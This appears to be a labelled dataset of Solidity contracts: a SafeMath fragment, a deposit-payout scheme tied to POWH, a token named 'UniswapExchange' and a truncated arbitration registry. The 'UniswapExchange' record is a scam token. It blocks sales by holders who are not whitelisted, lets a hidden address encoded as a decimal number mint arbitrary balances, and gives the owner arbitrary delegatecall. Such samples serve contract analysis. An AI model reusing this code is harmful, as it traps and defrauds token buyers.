uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,823 |
pragma solidity ^0.4.21;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract POWH {
function buy(address) public payable returns(uint256){}
function withdraw() public {}
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract BoomerangLiquidity is Owned {
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier notPowh(address aContract){
require(aContract != powh_address);
_;
}
uint public multiplier;
uint public payoutOrder = 0;
address powh_address;
POWH weak_hands;
function BoomerangLiquidity(uint multiplierPercent, address powh) public {
multiplier = multiplierPercent;
powh_address = powh;
weak_hands = POWH(powh_address);
}
struct Participant {
address etherAddress;
uint payout;
}
Participant[] public participants;
function() payable public {
deposit();
}
function deposit() payable public {
participants.push(Participant(msg.sender, (msg.value * multiplier) / 100));
payout();
}
function payout() public {
uint balance = address(this).balance;
require(balance > 1);
uint investment = balance / 2;
balance -= investment;
weak_hands.buy.value(investment).gas(1000000)(msg.sender);
while (balance > 0) {
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
if(payoutToSend > 0){
participants[payoutOrder].payout -= payoutToSend;
balance -= payoutToSend;
if(!participants[payoutOrder].etherAddress.send(payoutToSend)){
participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)();
}
}
if(balance > 0){
payoutOrder += 1;
}
if(payoutOrder >= participants.length){
return;
}
}
}
function withdraw() public {
weak_hands.withdraw.gas(3000000)();
}
function donate() payable public {
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner notPowh(tokenAddress) returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0 | 2,196 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 159 |
pragma solidity 0.5.17;
library CappedMath {
uint constant private UINT_MAX = 2**256 - 1;
function addCap(uint _a, uint _b) internal pure returns (uint) {
uint c = _a + _b;
return c >= _a ? c : UINT_MAX;
}
function subCap(uint _a, uint _b) internal pure returns (uint) {
if (_b > _a)
return 0;
else
return _a - _b;
}
function mulCap(uint _a, uint _b) internal pure returns (uint) {
if (_a == 0)
return 0;
uint c = _a * _b;
return c / _a == _b ? c : UINT_MAX;
}
}
library CappedMath128 {
uint128 private constant UINT128_MAX = 2**128 - 1;
function addCap(uint128 _a, uint128 _b) internal pure returns (uint128) {
uint128 c = _a + _b;
return c >= _a ? c : UINT128_MAX;
}
function subCap(uint128 _a, uint128 _b) internal pure returns (uint128) {
if (_b > _a) return 0;
else return _a - _b;
}
function mulCap(uint128 _a, uint128 _b) internal pure returns (uint128) {
if (_a == 0) return 0;
uint128 c = _a * _b;
return c / _a == _b ? c : UINT128_MAX;
}
}
interface IArbitrable {
event Ruling(IArbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
function rule(uint _disputeID, uint _ruling) external;
}
interface IArbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
event DisputeCreation(uint indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealPossible(uint indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealDecision(uint indexed _disputeID, IArbitrable indexed _arbitrable);
function createDispute(uint _choices, bytes calldata _extraData) external payable returns(uint disputeID);
function arbitrationCost(bytes calldata _extraData) external view returns(uint cost);
function appeal(uint _disputeID, bytes calldata _extraData) external payable;
function appealCost(uint _disputeID, bytes calldata _extraData) external view returns(uint cost);
function appealPeriod(uint _disputeID) external view returns(uint start, uint end);
function disputeStatus(uint _disputeID) external view returns(DisputeStatus status);
function currentRuling(uint _disputeID) external view returns(uint ruling);
}
interface IEvidence {
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Evidence(IArbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Dispute(IArbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
}
contract LightGeneralizedTCR is IArbitrable, IEvidence {
using CappedMath for uint256;
using CappedMath128 for uint128;
enum Status {
Absent,
Registered,
RegistrationRequested,
ClearingRequested
}
enum Party {
None,
Requester,
Challenger
}
enum RequestType {
Registration,
Clearing
}
enum DisputeStatus {
None,
AwaitingRuling,
Resolved
}
struct Item {
Status status;
uint128 sumDeposit;
uint120 requestCount;
mapping(uint256 => Request) requests;
}
struct Request {
RequestType requestType;
uint64 submissionTime;
uint24 arbitrationParamsIndex;
address payable requester;
address payable challenger;
}
struct DisputeData {
uint256 disputeID;
DisputeStatus status;
Party ruling;
uint240 roundCount;
mapping(uint256 => Round) rounds;
}
struct Round {
Party sideFunded;
uint256 feeRewards;
uint256[3] amountPaid;
mapping(address => uint256[3]) contributions;
}
struct ArbitrationParams {
IArbitrator arbitrator;
bytes arbitratorExtraData;
}
uint256 public constant RULING_OPTIONS = 2;
uint256 private constant RESERVED_ROUND_ID = 0;
bool private initialized;
address public relayerContract;
address public governor;
uint256 public submissionBaseDeposit;
uint256 public removalBaseDeposit;
uint256 public submissionChallengeBaseDeposit;
uint256 public removalChallengeBaseDeposit;
uint256 public challengePeriodDuration;
uint256 public winnerStakeMultiplier;
uint256 public loserStakeMultiplier;
uint256 public sharedStakeMultiplier;
uint256 public constant MULTIPLIER_DIVISOR = 10000;
mapping(bytes32 => Item) public items;
mapping(address => mapping(uint256 => bytes32)) public arbitratorDisputeIDToItemID;
mapping(bytes32 => mapping(uint256 => DisputeData)) public requestsDisputeData;
ArbitrationParams[] public arbitrationParamsChanges;
modifier onlyGovernor() {
require(msg.sender == governor, "The caller must be the governor.");
_;
}
modifier onlyRelayer() {
require(msg.sender == relayerContract, "The caller must be the relay.");
_;
}
event ItemStatusChange(bytes32 indexed _itemID, bool _updatedDirectly);
event NewItem(bytes32 indexed _itemID, string _data, bool _addedDirectly);
event RequestSubmitted(bytes32 indexed _itemID, uint256 _evidenceGroupID);
event Contribution(
bytes32 indexed _itemID,
uint256 _requestID,
uint256 _roundID,
address indexed _contributor,
uint256 _contribution,
Party _side
);
event ConnectedTCRSet(address indexed _connectedTCR);
event RewardWithdrawn(
address indexed _beneficiary,
bytes32 indexed _itemID,
uint256 _request,
uint256 _round,
uint256 _reward
);
function initialize(
IArbitrator _arbitrator,
bytes calldata _arbitratorExtraData,
address _connectedTCR,
string calldata _registrationMetaEvidence,
string calldata _clearingMetaEvidence,
address _governor,
uint256[4] calldata _baseDeposits,
uint256 _challengePeriodDuration,
uint256[3] calldata _stakeMultipliers,
address _relayerContract
) external {
require(!initialized, "Already initialized.");
emit ConnectedTCRSet(_connectedTCR);
governor = _governor;
submissionBaseDeposit = _baseDeposits[0];
removalBaseDeposit = _baseDeposits[1];
submissionChallengeBaseDeposit = _baseDeposits[2];
removalChallengeBaseDeposit = _baseDeposits[3];
challengePeriodDuration = _challengePeriodDuration;
sharedStakeMultiplier = _stakeMultipliers[0];
winnerStakeMultiplier = _stakeMultipliers[1];
loserStakeMultiplier = _stakeMultipliers[2];
relayerContract = _relayerContract;
_doChangeArbitrationParams(_arbitrator, _arbitratorExtraData, _registrationMetaEvidence, _clearingMetaEvidence);
initialized = true;
}
function addItemDirectly(string calldata _item) external onlyRelayer {
bytes32 itemID = keccak256(abi.encodePacked(_item));
Item storage item = items[itemID];
require(item.status == Status.Absent, "Item must be absent to be added.");
if (item.requestCount == 0) {
emit NewItem(itemID, _item, true);
}
item.status = Status.Registered;
emit ItemStatusChange(itemID, true);
}
function removeItemDirectly(bytes32 _itemID) external onlyRelayer {
Item storage item = items[_itemID];
require(item.status == Status.Registered, "Item must be registered to be removed.");
item.status = Status.Absent;
emit ItemStatusChange(_itemID, true);
}
function addItem(string calldata _item) external payable {
bytes32 itemID = keccak256(abi.encodePacked(_item));
Item storage item = items[itemID];
require(item.requestCount < uint120(-1), "Too many requests for item.");
require(item.status == Status.Absent, "Item must be absent to be added.");
if (item.requestCount == 0) {
emit NewItem(itemID, _item, false);
}
Request storage request = item.requests[item.requestCount++];
uint256 arbitrationParamsIndex = arbitrationParamsChanges.length - 1;
IArbitrator arbitrator = arbitrationParamsChanges[arbitrationParamsIndex].arbitrator;
bytes storage arbitratorExtraData = arbitrationParamsChanges[arbitrationParamsIndex].arbitratorExtraData;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 totalCost = arbitrationCost.addCap(submissionBaseDeposit);
require(msg.value >= totalCost, "You must fully fund the request.");
emit Contribution(itemID, item.requestCount - 1, RESERVED_ROUND_ID, msg.sender, totalCost, Party.Requester);
item.sumDeposit = uint128(totalCost);
item.status = Status.RegistrationRequested;
request.requestType = RequestType.Registration;
request.submissionTime = uint64(block.timestamp);
request.arbitrationParamsIndex = uint24(arbitrationParamsIndex);
request.requester = msg.sender;
emit RequestSubmitted(itemID, getEvidenceGroupID(itemID, item.requestCount - 1));
if (msg.value > totalCost) {
msg.sender.send(msg.value - totalCost);
}
}
function removeItem(bytes32 _itemID, string calldata _evidence) external payable {
Item storage item = items[_itemID];
require(item.requestCount < uint120(-1), "Too many requests for item.");
require(item.status == Status.Registered, "Item must be registered to be removed.");
Request storage request = item.requests[item.requestCount++];
uint256 arbitrationParamsIndex = arbitrationParamsChanges.length - 1;
IArbitrator arbitrator = arbitrationParamsChanges[arbitrationParamsIndex].arbitrator;
bytes storage arbitratorExtraData = arbitrationParamsChanges[arbitrationParamsIndex].arbitratorExtraData;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 totalCost = arbitrationCost.addCap(removalBaseDeposit);
require(msg.value >= totalCost, "You must fully fund the request.");
emit Contribution(_itemID, item.requestCount - 1, RESERVED_ROUND_ID, msg.sender, totalCost, Party.Requester);
item.sumDeposit = uint128(totalCost);
item.status = Status.ClearingRequested;
request.submissionTime = uint64(block.timestamp);
request.arbitrationParamsIndex = uint24(arbitrationParamsIndex);
request.requester = msg.sender;
request.requestType = RequestType.Clearing;
uint256 evidenceGroupID = getEvidenceGroupID(_itemID, item.requestCount - 1);
emit RequestSubmitted(_itemID, evidenceGroupID);
if (bytes(_evidence).length > 0) {
emit Evidence(arbitrator, evidenceGroupID, msg.sender, _evidence);
}
if (msg.value > totalCost) {
msg.sender.send(msg.value - totalCost);
}
}
function challengeRequest(bytes32 _itemID, string calldata _evidence) external payable {
Item storage item = items[_itemID];
require(item.status > Status.Registered, "The item must have a pending request.");
uint256 lastRequestIndex = item.requestCount - 1;
Request storage request = item.requests[lastRequestIndex];
require(
block.timestamp - request.submissionTime <= challengePeriodDuration,
"Challenges must occur during the challenge period."
);
DisputeData storage disputeData = requestsDisputeData[_itemID][lastRequestIndex];
require(disputeData.status == DisputeStatus.None, "The request should not have already been disputed.");
ArbitrationParams storage arbitrationParams = arbitrationParamsChanges[request.arbitrationParamsIndex];
IArbitrator arbitrator = arbitrationParams.arbitrator;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitrationParams.arbitratorExtraData);
uint256 totalCost;
{
uint256 challengerBaseDeposit = item.status == Status.RegistrationRequested
? submissionChallengeBaseDeposit
: removalChallengeBaseDeposit;
totalCost = arbitrationCost.addCap(challengerBaseDeposit);
}
require(msg.value >= totalCost, "You must fully fund the challenge.");
emit Contribution(_itemID, lastRequestIndex, RESERVED_ROUND_ID, msg.sender, totalCost, Party.Challenger);
item.sumDeposit = item.sumDeposit.addCap(uint128(totalCost)).subCap(uint128(arbitrationCost));
request.challenger = msg.sender;
disputeData.disputeID = arbitrator.createDispute.value(arbitrationCost)(
RULING_OPTIONS,
arbitrationParams.arbitratorExtraData
);
disputeData.status = DisputeStatus.AwaitingRuling;
disputeData.roundCount = 2;
arbitratorDisputeIDToItemID[address(arbitrator)][disputeData.disputeID] = _itemID;
uint256 metaEvidenceID = 2 * request.arbitrationParamsIndex + uint256(request.requestType);
uint256 evidenceGroupID = getEvidenceGroupID(_itemID, lastRequestIndex);
emit Dispute(arbitrator, disputeData.disputeID, metaEvidenceID, evidenceGroupID);
if (bytes(_evidence).length > 0) {
emit Evidence(arbitrator, evidenceGroupID, msg.sender, _evidence);
}
if (msg.value > totalCost) {
msg.sender.send(msg.value - totalCost);
}
}
function fundAppeal(bytes32 _itemID, Party _side) external payable {
require(_side > Party.None, "Invalid side.");
Item storage item = items[_itemID];
require(item.status > Status.Registered, "The item must have a pending request.");
uint256 lastRequestIndex = item.requestCount - 1;
Request storage request = item.requests[lastRequestIndex];
DisputeData storage disputeData = requestsDisputeData[_itemID][lastRequestIndex];
require(
disputeData.status == DisputeStatus.AwaitingRuling,
"A dispute must have been raised to fund an appeal."
);
ArbitrationParams storage arbitrationParams = arbitrationParamsChanges[request.arbitrationParamsIndex];
IArbitrator arbitrator = arbitrationParams.arbitrator;
uint256 lastRoundIndex = disputeData.roundCount - 1;
Round storage round = disputeData.rounds[lastRoundIndex];
require(round.sideFunded != _side, "Side already fully funded.");
uint256 multiplier;
{
(uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(disputeData.disputeID);
require(
block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd,
"Contributions must be made within the appeal period."
);
Party winner = Party(arbitrator.currentRuling(disputeData.disputeID));
if (winner == Party.None) {
multiplier = sharedStakeMultiplier;
} else if (_side == winner) {
multiplier = winnerStakeMultiplier;
} else {
multiplier = loserStakeMultiplier;
require(
block.timestamp < (appealPeriodStart + appealPeriodEnd) / 2,
"The loser must contribute during the first half of the appeal period."
);
}
}
uint256 appealCost = arbitrator.appealCost(disputeData.disputeID, arbitrationParams.arbitratorExtraData);
uint256 totalCost = appealCost.addCap(appealCost.mulCap(multiplier) / MULTIPLIER_DIVISOR);
contribute(_itemID, lastRequestIndex, lastRoundIndex, uint256(_side), msg.sender, msg.value, totalCost);
if (round.amountPaid[uint256(_side)] >= totalCost) {
if (round.sideFunded == Party.None) {
round.sideFunded = _side;
} else {
round.sideFunded = Party.None;
arbitrator.appeal.value(appealCost)(disputeData.disputeID, arbitrationParams.arbitratorExtraData);
disputeData.roundCount++;
round.feeRewards = round.feeRewards.subCap(appealCost);
}
}
}
function withdrawFeesAndRewards(
address payable _beneficiary,
bytes32 _itemID,
uint256 _requestID,
uint256 _roundID
) external {
DisputeData storage disputeData = requestsDisputeData[_itemID][_requestID];
require(disputeData.status == DisputeStatus.Resolved, "Request must be resolved.");
Round storage round = disputeData.rounds[_roundID];
uint256 reward;
if (_roundID == disputeData.roundCount - 1) {
reward =
round.contributions[_beneficiary][uint256(Party.Requester)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
} else if (disputeData.ruling == Party.None) {
uint256 totalFeesInRound = round.amountPaid[uint256(Party.Challenger)] +
round.amountPaid[uint256(Party.Requester)];
uint256 claimableFees = round.contributions[_beneficiary][uint256(Party.Challenger)] +
round.contributions[_beneficiary][uint256(Party.Requester)];
reward = totalFeesInRound > 0 ? (claimableFees * round.feeRewards) / totalFeesInRound : 0;
} else {
reward = round.amountPaid[uint256(disputeData.ruling)] > 0
? (round.contributions[_beneficiary][uint256(disputeData.ruling)] * round.feeRewards) /
round.amountPaid[uint256(disputeData.ruling)]
: 0;
}
round.contributions[_beneficiary][uint256(Party.Requester)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
if (reward > 0) {
_beneficiary.send(reward);
emit RewardWithdrawn(_beneficiary, _itemID, _requestID, _roundID, reward);
}
}
function executeRequest(bytes32 _itemID) external {
Item storage item = items[_itemID];
uint256 lastRequestIndex = items[_itemID].requestCount - 1;
Request storage request = item.requests[lastRequestIndex];
require(block.timestamp - request.submissionTime > challengePeriodDuration, "Time to challenge the request must pass.");
DisputeData storage disputeData = requestsDisputeData[_itemID][lastRequestIndex];
require(disputeData.status == DisputeStatus.None, "The request should not be disputed.");
if (item.status == Status.RegistrationRequested) {
item.status = Status.Registered;
} else if (item.status == Status.ClearingRequested) {
item.status = Status.Absent;
} else {
revert("There must be a request.");
}
emit ItemStatusChange(_itemID, false);
uint256 sumDeposit = item.sumDeposit;
item.sumDeposit = 0;
if (sumDeposit > 0) {
request.requester.send(sumDeposit);
}
}
function rule(uint256 _disputeID, uint256 _ruling) external {
require(_ruling <= RULING_OPTIONS, "Invalid ruling option");
bytes32 itemID = arbitratorDisputeIDToItemID[msg.sender][_disputeID];
Item storage item = items[itemID];
uint256 lastRequestIndex = items[itemID].requestCount - 1;
Request storage request = item.requests[lastRequestIndex];
DisputeData storage disputeData = requestsDisputeData[itemID][lastRequestIndex];
require(disputeData.status == DisputeStatus.AwaitingRuling, "The request must not be resolved.");
ArbitrationParams storage arbitrationParams = arbitrationParamsChanges[request.arbitrationParamsIndex];
require(address(arbitrationParams.arbitrator) == msg.sender, "Only the arbitrator can give a ruling");
uint256 finalRuling;
Round storage round = disputeData.rounds[disputeData.roundCount - 1];
if (round.sideFunded == Party.Requester) {
finalRuling = uint256(Party.Requester);
} else if (round.sideFunded == Party.Challenger) {
finalRuling = uint256(Party.Challenger);
} else {
finalRuling = _ruling;
}
emit Ruling(IArbitrator(msg.sender), _disputeID, finalRuling);
Party winner = Party(finalRuling);
disputeData.status = DisputeStatus.Resolved;
disputeData.ruling = winner;
uint256 sumDeposit = item.sumDeposit;
item.sumDeposit = 0;
if (winner == Party.None) {
item.status = item.status == Status.RegistrationRequested ? Status.Absent : Status.Registered;
uint256 halfSumDeposit = sumDeposit / 2;
request.requester.send(halfSumDeposit);
request.challenger.send(halfSumDeposit);
} else if (winner == Party.Requester) {
item.status = item.status == Status.RegistrationRequested ? Status.Registered : Status.Absent;
request.requester.send(sumDeposit);
} else {
item.status = item.status == Status.RegistrationRequested ? Status.Absent : Status.Registered;
request.challenger.send(sumDeposit);
}
emit ItemStatusChange(itemID, false);
}
function submitEvidence(bytes32 _itemID, string calldata _evidence) external {
Item storage item = items[_itemID];
uint256 lastRequestIndex = item.requestCount - 1;
Request storage request = item.requests[lastRequestIndex];
ArbitrationParams storage arbitrationParams = arbitrationParamsChanges[request.arbitrationParamsIndex];
emit Evidence(
arbitrationParams.arbitrator,
getEvidenceGroupID(_itemID, lastRequestIndex),
msg.sender,
_evidence
);
}
function changeChallengePeriodDuration(uint256 _challengePeriodDuration) external onlyGovernor {
challengePeriodDuration = _challengePeriodDuration;
}
function changeSubmissionBaseDeposit(uint256 _submissionBaseDeposit) external onlyGovernor {
submissionBaseDeposit = _submissionBaseDeposit;
}
function changeRemovalBaseDeposit(uint256 _removalBaseDeposit) external onlyGovernor {
removalBaseDeposit = _removalBaseDeposit;
}
function changeSubmissionChallengeBaseDeposit(uint256 _submissionChallengeBaseDeposit) external onlyGovernor {
submissionChallengeBaseDeposit = _submissionChallengeBaseDeposit;
}
function changeRemovalChallengeBaseDeposit(uint256 _removalChallengeBaseDeposit) external onlyGovernor {
removalChallengeBaseDeposit = _removalChallengeBaseDeposit;
}
function changeGovernor(address _governor) external onlyGovernor {
governor = _governor;
}
function changeSharedStakeMultiplier(uint256 _sharedStakeMultiplier) external onlyGovernor {
sharedStakeMultiplier = _sharedStakeMultiplier;
}
function changeWinnerStakeMultiplier(uint256 _winnerStakeMultiplier) external onlyGovernor {
winnerStakeMultiplier = _winnerStakeMultiplier;
}
function changeLoserStakeMultiplier(uint256 _loserStakeMultiplier) external onlyGovernor {
loserStakeMultiplier = _loserStakeMultiplier;
}
function changeConnectedTCR(address _connectedTCR) external onlyGovernor {
emit ConnectedTCRSet(_connectedTCR);
}
function changeRelayerContract(address _relayerContract) external onlyGovernor {
relayerContract = _relayerContract;
}
function changeArbitrationParams(
IArbitrator _arbitrator,
bytes calldata _arbitratorExtraData,
string calldata _registrationMetaEvidence,
string calldata _clearingMetaEvidence
) external onlyGovernor {
_doChangeArbitrationParams(_arbitrator, _arbitratorExtraData, _registrationMetaEvidence, _clearingMetaEvidence);
}
function _doChangeArbitrationParams(
IArbitrator _arbitrator,
bytes memory _arbitratorExtraData,
string memory _registrationMetaEvidence,
string memory _clearingMetaEvidence
) internal {
emit MetaEvidence(2 * arbitrationParamsChanges.length, _registrationMetaEvidence);
emit MetaEvidence(2 * arbitrationParamsChanges.length + 1, _clearingMetaEvidence);
arbitrationParamsChanges.push(
ArbitrationParams({arbitrator: _arbitrator, arbitratorExtraData: _arbitratorExtraData})
);
}
function contribute(
bytes32 _itemID,
uint256 _requestID,
uint256 _roundID,
uint256 _side,
address payable _contributor,
uint256 _amount,
uint256 _totalRequired
) internal {
Round storage round = requestsDisputeData[_itemID][_requestID].rounds[_roundID];
uint256 pendingAmount = _totalRequired.subCap(round.amountPaid[_side]);
